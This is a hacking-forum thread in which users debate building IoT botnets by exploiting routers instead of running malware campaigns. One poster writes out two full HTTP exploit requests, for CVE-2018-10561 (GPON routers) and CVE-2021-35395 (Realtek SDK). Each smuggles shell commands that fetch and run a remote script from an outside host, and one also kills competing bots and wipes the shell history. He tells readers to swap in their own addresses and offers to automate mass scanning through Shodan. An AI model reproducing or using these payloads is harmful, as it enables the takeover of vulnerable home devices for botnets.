

Forum:[Hack Forums](#)

Thread: [Why do an exec malware instead of exploiting IoT](#)

ChickenSoupFortuneTeller - June 17, 2023, 8:44 am

I just don't get it. I see so many advantages to exploiting instead of running malware campaigns. 1. The person usually does not know he has been exploited 2. Exploiting is easier than social engineering. 3. With a good scanner and exploit script it's automatic 4. There is usually no antiviruses for IoT. 5. It does not need any actions of the victim and 6. IoT is usually online 24/7. The list of CVE's related to IoT is huge, just pick a few, buy or develop scripts and use a scanner or sites like Shodan. So why choose exec botnets?

Dread.Reaper - June 17, 2023, 8:53 am

(Jun 17, 2023 08:44 AM)ChickenSoupFortuneTeller Wrote: [\[CITE\]](#) I just don't get it. I see so many advantages to exploiting instead of running malware campaigns. 1. The person usually does not know he has been exploited 2. Exploiting is easier than social engineering. 3. With a good scanner and exploit script it's automatic 4. There is usually no antiviruses for IoT. 5. It does not need any actions of the victim and 6. IoT is usually online 24/7. The list of CVE's related to IoT is huge, just pick a few, buy or develop scripts and use a scanner or sites like Shodan. So why choose exec botnets? Cool so what exploit you using?

ChickenSoupFortuneTeller - June 17, 2023, 8:57 am

I don't do it personally. I wrote scripts not use them, but I would use this list <https://cujo.com/the-2022-2023-iot-botnet-report-vulnerabilities-targeted/>

Dread.Reaper - June 17, 2023, 9:02 am

(Jun 17, 2023 08:57 AM)ChickenSoupFortuneTeller Wrote: [\[CITE\]](#) I don't do it personally. I wrote scripts not use them, but I would use this list

<https://cujo.com/the-2022-2023-iot-botnet-report-vulnerabilities-targeted/>

Well, if you don't do it personally then you won't understand why it's not as simple as you seem to make it.

Exploits are hard to come by.

ChickenSoupFortuneTeller - June 17, 2023, 9:11 am

There are samples of net commands in that article for those exploits. You can also just try looking online, and if that fails, you can go to the site that tracks CVE's, type in the CVE of what you want, read as much as you can, and program a script yourself or hire people like me to do it. It's not hard, just takes time

Dread.Reaper - June 17, 2023, 10:05 am

(Jun 17, 2023 09:11 AM)ChickenSoupFortuneTeller Wrote: [\[CITE\]](#) There are samples of net commands in that article for those exploits. You can also just try looking online, and if that fails, you can go to the site that tracks CVE's, type in the CVE of what you want, read as much as you can, and program a script yourself or hire people like me to do it. It's not hard, just takes time

Can you provide an example?

ChickenSoupFortuneTeller - June 17, 2023, 10:26 am

for example CVE-2018-10561 allows you to remotely run commands on outdated versions of certain Dasan GPON routers. Here is the exploit Exploit for CVE-2018-10561/10562 taken from [2]

POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: /
User-Agent: Hello, World
Content-Length: 118

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=";busybox+wget+http://194.87.71.134/ohshit.sh+-O+/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0

You just change the links and ip addresses and send this to the router. Or another one. The famous realtek sdk exploit CVE-2021-35395.

POST /goform/formWsc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: /
Connection: close
submit-url=%2Fwlpws.asp&resetUnCfg=0&peerPin=12345678;wget <http://zero.sudolite.ml/zero.sh>
|| curl -o <http://zero.sudolite.ml/zero.sh> || curl -O <http://zero.sudolite.ml/zero.sh>; killall i .i mozi.m
Mozi.m mozi.a Mozi.a kaiten Nbrute minerd /bin/busybox; history -c; rm ~/.bash_history; chmod 755
zero.sh; /bin/bash zero.sh;&setPIN=Start+PIN&configVxd=off&resetRptUnCfg=0&peerRptPin=

;) If you want I can program a script that setups this and combines a few different exploits and scans automatically from websites like shodan.io

OSVapor - June 17, 2023, 8:27 pm

Depends on your target audience, typically IoT devices do not contain any useful information. And outside of home users 9/10 they are separated out on different vLANs so you can't really pivot once you're on that device.

osn64698 - June 17, 2023, 10:00 pm

It depends on what you want to achieve. For socks etc they might be nice.

qigr - June 26, 2023, 10:04 am

relation
hemisphere
number
sulphur
stitch
freshman
acquaintance
cheek [warn]

Europe - June 26, 2023, 12:00 pm

(Jun 17, 2023 08:53 AM)Dread.Reaper Wrote: [\[CITE\]](#) Cool so what exploit you using?
Whahaha, laughed on your comment * :P mr sarcastic